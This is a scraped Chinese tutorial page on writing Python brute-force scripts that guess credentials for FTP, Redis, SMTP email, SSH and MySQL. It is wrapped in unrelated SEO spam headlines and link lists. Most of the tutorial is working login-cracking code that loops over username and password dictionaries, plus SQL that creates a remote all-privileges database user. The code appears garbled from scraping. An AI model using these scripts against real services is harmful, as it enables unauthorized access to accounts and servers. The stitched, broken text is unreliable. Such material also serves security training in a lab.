当前位置: 首页 > news >正文

网站icp备案条件网站建设怎么用长尾做标题

网站icp备案条件,网站建设怎么用长尾做标题,东莞市永铭装饰有限公司,资兴网站设计案例一: Python-文件传输爆破-ftplib 库操作 ftp 协议 开一个ftp 利用ftp正确登录与失败登录都会有不同的回显 使用ftplib库进行测试 from ftplib import FTP # FTP服务器地址 ftp_server 192.168.172.132 # FTP服务器端口#xff08;默认为21#xff09; ftp_po…案例一:  Python-文件传输爆破-ftplib 库操作 ftp 协议 开一个ftp 利用ftp正确登录与失败登录都会有不同的回显 使用ftplib库进行测试 from ftplib import FTP # FTP服务器地址 ftp_server 192.168.172.132 # FTP服务器端口默认为21 ftp_port 21 # FTP登录用户名 ftp_user root # FTP登录密码 ftp_pass 123.comm ftp FTP() ftp.connect(ftp_server,ftp_port) ftp.login(ftp_user,ftp_pass)成功 失败 在此基础之上加上字典进行循环就能爆破出来密码 爆破ftp账号密码的程序 from ftplib import FTP def ftp_check(ip,port,username,password):ftp FTP()ftp.connect(ip,port)try:ftp.login(username,password)print(username|password--success)exit()except Exception as e:print(username|password--failed)if __name__ __main__:ip input(please input ip:)port int(input(please input port:))with open(.\\conf\\dic_username_ftp.txt, r) as file: names file.readlines() for name in names:name name.replace(\n,)with open(.\\conf\\dic_password_ftp.txt, r) as file: passwords file.readlines() for password in passwords:password password.replace(\n,)ftp_check(ip,port,name,password)运行结果 如果觉得输出太过繁琐可以不输出失败的结果  案例二 Python-数据库爆破-redis 库操作redis 协议 开启redis端口为6379 配置密码 尝试连接redis没有账号这一说法都是用密码连接就ok 连接成功之后可以设置变量可以利用这一点如果没有连接的话会报错 因为普通连接就算连接不成功他也不会报错 爆破程序 import redis def redis_check(ip,password):try:connredis.Redis(hostip, port6379, passwordpassword, db0)conn.set(test,123)print(password--success)conn.delete(test)exit()except Exception as e:print(password--failed)if __name__ __main__:ip input(please input ip:)with open(.\\conf\\dic_password_redis.txt,r) as file:passwords file.readlines()for password in passwords:password password.replace(\n,)redis_check(ip,password) 运行结果 案例三Python-邮件爆破-smtplib 库操作 smtp 协议 smtp调用库smtplibsmtp邮件可以利用授权码代替密码进行登录 需要根据后缀来进行判断是什么邮箱 代码登录失败会报错 import smtplibdef email_check(email,password):smtp_split email.split()[1]smtp_server smtp.smtp_split#print(smtp_server)smtp_port 25try:smtp_conn smtplib.SMTP()smtp_conn.connect(smtp_server, 25) # 25 为 SMTP 端口号smtp_conn.login(email, password)print(password is password -- ok)exit()except Exception as e:pass#print(error)if __name__ __main__:email input(please input your eamil)with open(.\\conf\\dic_password_email.txt,r) as file:passwords file.readlines()for password in passwords:password password.replace(\n,)email_check(email,password) 运行结果 案例四Python-登录爆破-paramiko库操作ssh协议 ssh连接调用paramiko库 import paramiko # 创建SSH客户端 client paramiko.SSHClient() # 自动添加主机名和密钥到本地的known_hosts文件 client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 连接到远程主机 client.connect(远程主机IP,port username用户名, password密码) 连接成功不会报错 失败报错 代码,端口为连接的第二个参数默认为22 import paramiko,timedef ssh_check(ip,username,password):print(username | password )client paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:client.connect(ip,usernameusername, passwordpassword)print(username | password -- success)exit()except Exception as e:passtime.sleep(1)if __name__ __main__:ip input(please input ip:)with open(.\\conf\\dic_username_ssh.txt, r) as file: names file.readlines() for name in names:name name.replace(\n,)with open(.\\conf\\dic_password_ssh.txt, r) as file: passwords file.readlines() for password in passwords:password password.replace(\n,)ssh_check(ip,name,password) 运行结果 案例五 Python-数据库爆破-pymysql 库操作 mysql 协议 创建一个允许远程登陆的用户jie 123.com CREATE USER jie% IDENTIFIED BY 123.com; GRANT ALL PRIVILEGES ON *.* TO jie%; FLUSH PRIVILEGES; 能够成功连接 建立mysql连接 import mysql.connector # pip install mysql-connector-python 安装这个库 # 创建数据库连接 db mysql.connector.connect(host192.168.172.132, # MySQL服务器地址port3306,userjie, # 用户名password123.comm, # 密码databasemysql # 数据库名称 ) 安装相关库 错误连接会报错 在此基础之上写爆破mysql import mysql.connectordef mysql_check(ip,port,username,password):try:db mysql.connector.connect(hostip, # MySQL服务器地址portport,userusername, # 用户名passwordpassword, # 密码databasemysql # 数据库名称)print(username | password -- success)exit()except Exception as e:pass if __name__ __main__:ip input(please input ip:)port int(input(please input port:))with open(.\\conf\\dic_username_ftp.txt, r) as file: names file.readlines() for name in names:name name.replace(\n,)with open(.\\conf\\dic_password_ftp.txt, r) as file: passwords file.readlines() for password in passwords:password password.replace(\n,)mysql_check(ip,port,name,password) 运行结果 如果再命令行以 python  xx.py 123456这种后面带参数的方式输入需要引入sys库利用sys.argv[1] 可以把变量设置在文件后面如下图所示
http://www.w-s-a.com/news/718435/

相关文章:

  • 秦时明月的个人网站怎么做网站开发公司需要招聘哪些人
  • 广告网站建设制作设计服务商安卓app软件定制
  • 公司网站设计与实现中国职业培训在线官方网站
  • 网站服务器空间租用郑州官网网站推广优化
  • 郑州网站建设外包业务wordpress站酷首页
  • 机关门户网站 建设 方案个人怎么申请注册商标
  • 梧州网站建设有哪些九江网站建设优化
  • APP网站建设开发企业发展英文seo招聘
  • 临海市住房和城乡建设规划局网站高校图书馆网站的建设方案
  • 建立门户网站张店易宝网站建设
  • wordpress中英文站点厦门seo顾问屈兴东
  • 邯郸网站建设项目重庆网站备案系统
  • 网站导航容易做黄冈网站建设报价
  • 美橙互联建站网站被截止徐州网站建站
  • 网站班级文化建设视频深圳企业网页设计公司
  • 钦州网站建设公司做宣传网站买什么云服务器
  • 58同城有做网站wordpress怎么改标题和meta
  • 安通建设有限公司网站东莞地铁app
  • 群晖nas做网站滨州教育平台 网站建设
  • 住房城市乡建设部网站装修平台有哪些
  • 小米网站 用什么做的深圳广告公司前十强
  • 勤哲网站开发视频瑞安 网站建设培训
  • 有个蓝色章鱼做标志的网站高端的网站建设怎么做
  • 建站网址导航hao123html网页设计实验总结
  • 西宁市网站建设价格丽水集团网站建设
  • 长宁怎么做网站优化好本机怎么放自己做的网站
  • 诚信网站备案中心网站字体怎么设置
  • 企业网站建设费是无形资产吗佛山网站建设哪个好点
  • 网站建设就业方向国开行网站毕业申请怎么做
  • 创建一个网站的费用wordpress 4.0 安装